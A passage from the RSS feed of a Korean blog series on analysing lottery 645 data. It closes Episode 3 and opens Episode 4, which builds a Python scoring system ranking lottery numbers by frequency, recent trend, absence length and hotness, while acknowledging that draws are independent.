&lt;li&gt;확률 가중치 기반 추천&lt;/li&gt;
&lt;li&gt;scikit-learn 없이 구현하는 ML&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;미리보기:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# prediction_model.py
def calculate_number_scores(self):
    &quot;&quot;&quot;각 번호의 종합 점수 계산&quot;&quot;&quot;
    for num in range(1, 46):
        # 빈도 점수 (0-30점)
        freq_score = min(total_frequency / 100 * 30, 30)

        # 트렌드 점수 (0-30점)
        trend_score = recent_50_frequency / 50 * 30

        # 부재 기간 점수 (0-20점)
        absence_score = min(absence_length / 20 * 20, 20)

        # 핫넘버 점수 (0-20점)
        hotness_score = min(hotness / 10 * 20, 20)

        total = freq_score + trend_score + absence_score + hotness_score
        # 최대 100점!

# 결과: 3번이 98.5점으로 1위!&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/193&quot;&gt;2편 - 숫자가 말을 걸 때&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/191&quot;&gt;4편 - 기계가 배우는 운의 법칙&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;시간은 흐르고, 데이터는 남는다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번이 최근 50회에서 10번 나왔다. 44번은 24회 동안 안 나왔다. 이동 평균을 따라가니 상승세와 하락세가 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;당첨금도 시간과 함께 흘렀다. 2014년 평균 18.5억에서 2022년 27.2억으로 47% 증가했다. 로또도 인플레이션을 반영했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상관관계 분석은 의외의 발견을 주었다. 당첨자가 많을수록 당첨금이 줄어드는 건 당연하지만, 상관계수 -0.671이라는 구체적 수치가 주는 무게감이 달랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박스플롯을 그리며 각 연도의 분포를 보았다. 2022년에 튀어나온 123억이라는 아웃라이어가 눈에 띄었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자는 시간 속에서 말을 걸었다. 이제 이 패턴들을 학습시켜 기계에게 번호를 추천받아보자. 머신러닝의 세계로 들어간다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#시계열분석 #핫넘버콜드넘버 #이동평균 #트렌드분석 #당첨금분석 #상관관계분석 #박스플롯 #NumPy통계 #Pandas시계열 #데이터트렌드&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시계열분석, 핫넘버, 콜드넘버, 이동평균, 트렌드, 출현간격, 미출현기간, 당첨금, 상관관계, 박스플롯, 연도별분석, 인플레이션&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (3/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 57,094 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 67,052 tokens (84% 사용됨) 이미지 수정요청후 100% 사용함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 3 작성 사용량: &lt;b&gt;9,958 tokens&lt;/b&gt; (약 10K tokens)&lt;/li&gt;
&lt;li&gt;주간 65%사용 (세션 제한에 걸림)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>당첨금</category>
      <category>미출현기간</category>
      <category>박스플롯</category>
      <category>상관관계</category>
      <category>시계열분석</category>
      <category>이동평균</category>
      <category>출현간격</category>
      <category>콜드넘버</category>
      <category>트렌드</category>
      <category>핫넘버</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/192</guid>
      <comments>https://thepin.tistory.com/192#entry192comment</comments>
      <pubDate>Sun, 11 Jan 2026 12:25:09 +0900</pubDate>
    </item>
    <item>
      <title>Episode 4: 기계가 배우는 운의 법칙 (The Machine's Fortune: Learning Rules)</title>
      <link>https://thepin.tistory.com/191</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI 및 퍼플렛시티를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h1&gt;&lt;b&gt;Episode 4: 기계가 배우는 운의 법칙 (The Machine's Fortune: Learning Rules)&lt;/b&gt;&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;머신러닝으로 번호 추천하기&lt;/b&gt;: 점수 시스템과 확률 모델 설계&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자 하나하나에 점수를 매기기 시작했다. 14번 66.1점, 17번 66.1점. 기계가 605회의 패턴을 학습했다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://img.shields.io/badge/Python-3.8+-blue.svg&quot; alt=&quot;Python&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/NumPy-1.24-orange.svg&quot; alt=&quot;NumPy&quot; /&gt;&lt;img src=&quot;https://img.shields.io/badge/scikit--learn-1.3-green.svg&quot; alt=&quot;scikit--learn&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성일&lt;/b&gt;: 2026-01-10. &lt;b&gt;난이도&lt;/b&gt;: ⭐⭐⭐⭐☆. &lt;b&gt;예상 소요 시간&lt;/b&gt;: 5-6시간 &lt;b&gt;버전&lt;/b&gt;: v3.0&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1068&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKFDvx/dJMcachv5Fx/erAOTypgrcFhECiBUi52h1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKFDvx/dJMcachv5Fx/erAOTypgrcFhECiBUi52h1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKFDvx/dJMcachv5Fx/erAOTypgrcFhECiBUi52h1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKFDvx%2FdJMcachv5Fx%2FerAOTypgrcFhECiBUi52h1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1952&quot; height=&quot;1068&quot; data-origin-width=&quot;1952&quot; data-origin-height=&quot;1068&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  들어가며&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시계열 분석을 마치고, 핫넘버와 콜드넘버를 발견했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;이제 어떻게 번호를 추천할까?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무작위로? 아니면 가장 많이 나온 번호만? 최근 핫넘버만?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고민 끝에 내린 결론:&lt;br /&gt;&lt;b&gt;&quot;기계에게 배우게 하자.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머신러닝(Machine Learning)이라는 단어가 떠올랐다. 하지만 로또는 독립 시행이다. 과거가 미래를 예측할 수 없다. 그럼에도 불구하고...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;605회의 데이터가 말하는 패턴은 무엇일까?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분류(Classification)도 아니고, 회귀(Regression)도 아니다. 로또는 당첨/미당첨을 예측하는 문제가 아니라, &lt;b&gt;&quot;어떤 번호를 선택할지&quot;&lt;/b&gt;의 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;답은 &lt;b&gt;점수 시스템(Scoring System)&lt;/b&gt;이었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  왜 점수 기반 시스템인가?&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;머신러닝 접근법 비교&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 분류(Classification) 접근법&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;autoit&quot;&gt;&lt;code&gt;# 각 번호를 &quot;당첨&quot; vs &quot;미당첨&quot;으로 분류?
# ❌ 문제점: 매 회차 정확히 6개만 당첨되므로 의미 없음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 회귀(Regression) 접근법&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 각 번호의 &quot;당첨 확률&quot;을 예측?
# ❌ 문제점: 독립 시행이므로 확률은 항상 1/45&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 점수 시스템(Scoring System) 접근법&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 각 번호의 &quot;선택 가치&quot;를 점수로 환산
# ✅ 장점: 여러 특징(Feature)을 종합하여 랭킹 가능
# ✅ 장점: 해석 가능성(Interpretability) 높음&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;선택:&lt;/b&gt; 점수 시스템!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  특징 추출 (Feature Engineering)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;각 번호의 특징(Feature)을 정의하라&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;45개 번호 각각에 대해 &lt;b&gt;8가지 특징&lt;/b&gt;을 추출했다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def extract_number_features(self):
    &quot;&quot;&quot;번호별 특징 추출&quot;&quot;&quot;
    print(&quot;  번호별 특징 추출 중...&quot;)

    for num in range(1, 46):
        # 1. 전체 출현 빈도 (Total Frequency)
        total_frequency = 0

        # 2. 최근 50회 출현 빈도 (Recent 50 Frequency)
        recent_50_frequency = 0

        # 3. 최근 100회 출현 빈도 (Recent 100 Frequency)
        recent_100_frequency = 0

        # 4. 마지막 출현 이후 경과 회차 (Absence Length)
        last_appearance = -1
        absence_length = 0

        # 5. 평균 출현 간격 (Average Interval)
        appearances = []
        intervals = []
        avg_interval = 0

        # 6. 출현 간격 표준편차 (Interval Std)
        std_interval = 0

        # 7. 구간 (Section: Low 1-15, Mid 16-30, High 31-45)
        if 1 &amp;lt;= num &amp;lt;= 15:
            section = 'low'
        elif 16 &amp;lt;= num &amp;lt;= 30:
            section = 'mid'
        else:
            section = 'high'

        # 8. 홀짝 (Odd/Even)
        odd_even = 'odd' if num % 2 == 1 else 'even'

        # 계산 로직 (생략)
        # ...

        self.number_features[num] = {
            'total_frequency': total_frequency,
            'recent_50_frequency': recent_50_frequency,
            'recent_100_frequency': recent_100_frequency,
            'absence_length': absence_length,
            'avg_interval': avg_interval,
            'std_interval': std_interval,
            'section': section,
            'odd_even': odd_even,
            'hotness_score': recent_50_frequency / 10  # 핫넘버 점수
        }

    print(f&quot;✓ 45개 번호에 대한 특징 추출 완료&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 특징(Feature):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;빈도(Frequency)&lt;/b&gt;: 자주 나온 번호일수록 높은 점수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;트렌드(Trend)&lt;/b&gt;: 최근 상승세인 번호일수록 높은 점수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;부재 기간(Absence)&lt;/b&gt;: 오래 안 나온 번호일수록 높은 점수&lt;/li&gt;
&lt;li&gt;&lt;b&gt;핫넘버(Hotness)&lt;/b&gt;: 최근 50회 출현 횟수 기반 점수&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  종합 점수 계산&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;4가지 점수 구성요소(Score Components)&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 번호는 &lt;b&gt;최대 100점&lt;/b&gt;을 받을 수 있다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def calculate_number_scores(self):
    &quot;&quot;&quot;각 번호의 종합 점수 계산&quot;&quot;&quot;
    print(&quot;\n  번호별 종합 점수 계산 중...&quot;)

    scores = {}

    for num in range(1, 46):
        features = self.number_features[num]

        # 1. 빈도 점수 (Frequency Score: 0-30점)
        freq_score = min(features['total_frequency'] / 100 * 30, 30)

        # 2. 트렌드 점수 (Trend Score: 0-30점)
        trend_score = features['recent_50_frequency'] / 50 * 30

        # 3. 부재 기간 점수 (Absence Score: 0-20점)
        absence_score = min(features['absence_length'] / 20 * 20, 20)

        # 4. 핫넘버 점수 (Hotness Score: 0-20점)
        hotness_score = min(features['hotness_score'] / 10 * 20, 20)

        # 총점 계산
        total_score = freq_score + trend_score + absence_score + hotness_score

        scores[num] = {
            'total_score': total_score,
            'freq_score': freq_score,
            'trend_score': trend_score,
            'absence_score': absence_score,
            'hotness_score': hotness_score,
            'features': features
        }

    self.number_scores = scores
    return scores&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;점수 가중치(Score Weights) 설계:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구성요소&lt;/th&gt;
&lt;th&gt;최대 점수&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;빈도 점수(Frequency)&lt;/td&gt;
&lt;td&gt;30점&lt;/td&gt;
&lt;td&gt;30%&lt;/td&gt;
&lt;td&gt;전체 출현 횟수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;트렌드 점수(Trend)&lt;/td&gt;
&lt;td&gt;30점&lt;/td&gt;
&lt;td&gt;30%&lt;/td&gt;
&lt;td&gt;최근 50회 출현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;부재 점수(Absence)&lt;/td&gt;
&lt;td&gt;20점&lt;/td&gt;
&lt;td&gt;20%&lt;/td&gt;
&lt;td&gt;미출현 기간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;핫넘버 점수(Hotness)&lt;/td&gt;
&lt;td&gt;20점&lt;/td&gt;
&lt;td&gt;20%&lt;/td&gt;
&lt;td&gt;최근 핫넘버 여부&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;총점&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;100점&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;100%&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;상위 10개 번호:
  1. 번호 14: 66.1점
  2. 번호 17: 66.1점
  3. 번호 42: 66.1점
  4. 번호 11: 62.5점
  5. 번호 19: 62.0점
  6. 번호 13: 61.9점
  7. 번호 22: 59.5점
  8. 번호 38: 58.8점
  9. 번호 15: 58.1점
  10. 번호 45: 58.1점&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVYJh3/dJMcaiWi0lk/yk5DnQBcGhHQ8AQGv0izKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVYJh3/dJMcaiWi0lk/yk5DnQBcGhHQ8AQGv0izKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVYJh3/dJMcaiWi0lk/yk5DnQBcGhHQ8AQGv0izKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVYJh3%2FdJMcaiWi0lk%2Fyk5DnQBcGhHQ8AQGv0izKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;883&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 상위 20개 번호의 종합 점수(Total Score) - 최대 100점&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인사이트:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;14번, 17번, 42번이 공동 1위 (66.1점)&lt;/li&gt;
&lt;li&gt;최저 점수는 약 35점&lt;/li&gt;
&lt;li&gt;점수 분포가 비교적 고르게 퍼짐&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  점수 구성요소 분해&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;각 번호의 강점은 무엇인가?&quot;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B4Bdm/dJMcaiaX8X8/xrY3z6nNoQDC1yJ7P1fpe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B4Bdm/dJMcaiaX8X8/xrY3z6nNoQDC1yJ7P1fpe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B4Bdm/dJMcaiaX8X8/xrY3z6nNoQDC1yJ7P1fpe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB4Bdm%2FdJMcaiaX8X8%2FxrY3z6nNoQDC1yJ7P1fpe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2083&quot; height=&quot;883&quot; data-origin-width=&quot;2083&quot; data-origin-height=&quot;883&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 상위 10개 번호의 점수 구성요소(Score Components) 분해 - 누적 막대 그래프(Stacked Bar Chart)&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;14번 분석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빈도 점수(Frequency): 28.5점 (높음 ✅)&lt;/li&gt;
&lt;li&gt;트렌드 점수(Trend): 18.0점 (보통)&lt;/li&gt;
&lt;li&gt;부재 점수(Absence): 0점 (최근 출현 ❌)&lt;/li&gt;
&lt;li&gt;핫넘버 점수(Hotness): 19.6점 (높음 ✅)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총점: 66.1점&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;42번 분석:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;빈도 점수(Frequency): 20.1점 (보통)&lt;/li&gt;
&lt;li&gt;트렌드 점수(Trend): 12.0점 (보통)&lt;/li&gt;
&lt;li&gt;부재 점수(Absence): 20.0점 (최대! ✅)&lt;/li&gt;
&lt;li&gt;핫넘버 점수(Hotness): 14.0점 (보통)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총점: 66.1점&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 발견:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;같은 총점이어도 &lt;b&gt;구성요소가 다름&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;14번: 빈도 + 핫넘버 강점&lt;/li&gt;
&lt;li&gt;42번: 부재 기간 강점 (오래 안 나옴)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  패턴 학습 (Pattern Learning)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&quot;과거 605회의 패턴을 학습하라&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;점수만으로는 부족하다. &lt;b&gt;조합의 패턴&lt;/b&gt;도 학습해야 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. 구간 분포 패턴(Section Pattern Distribution)&lt;/h4&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;def analyze_section_patterns(self):
    &quot;&quot;&quot;구간 분포 패턴 학습&quot;&quot;&quot;
    print(&quot;  구간 패턴 학습 중...&quot;)

    section_patterns = {'distribution': []}

    for _, row in self.loader.numbers_df.iterrows():
        nums = row['당첨번호']

        # 저구간(Low: 1-15), 중구간(Mid: 16-30), 고구간(High: 31-45) 개수
        low = sum(1 for n in nums if 1 &amp;lt;= n &amp;lt;= 15)
        mid = sum(1 for n in nums if 16 &amp;lt;= n &amp;lt;= 30)
        high = sum(1 for n in nums if 31 &amp;lt;= n &amp;lt;= 45)

        section_patterns['distribution'].append((low, mid, high))

    # 가장 흔한 구간 분포 (Most Common Section Pattern)
    from collections import Counter
    dist_counter = Counter(section_patterns['distribution'])
    section_patterns['most_common'] = dist_counter.most_common(10)

    print(f&quot;✓ 가장 흔한 구간 분포: {section_patterns['most_common'][0]}&quot;)
    return section_patterns&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;✓ 가장 흔한 구간 분포: ((2, 2, 2), 87)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2185&quot; data-origin-height=&quot;882&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IL5PZ/dJMcajgA8Av/h159zLGbH8JOTkXopdxNtK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IL5PZ/dJMcajgA8Av/h159zLGbH8JOTkXopdxNtK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IL5PZ/dJMcajgA8Av/h159zLGbH8JOTkXopdxNtK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIL5PZ%2FdJMcajgA8Av%2Fh159zLGbH8JOTkXopdxNtK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2185&quot; height=&quot;882&quot; data-origin-width=&quot;2185&quot; data-origin-height=&quot;882&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;i&gt;▲ 구간 패턴 분포(Section Pattern Distribution) - TOP 10&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;TOP 10 구간 패턴:&lt;/b&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;패턴 (Low-Mid-High)&lt;/th&gt;
&lt;th&gt;출현 횟수&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;2-2-2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;87회&lt;/td&gt;
&lt;td&gt;14.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt; &lt;/td&gt;
&lt;td&gt;&lt;b&gt;3-1-2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;61회&lt;/td&gt;
&lt;td&gt;10.1%&lt;/td&gt;
&lt;/tr&gt;
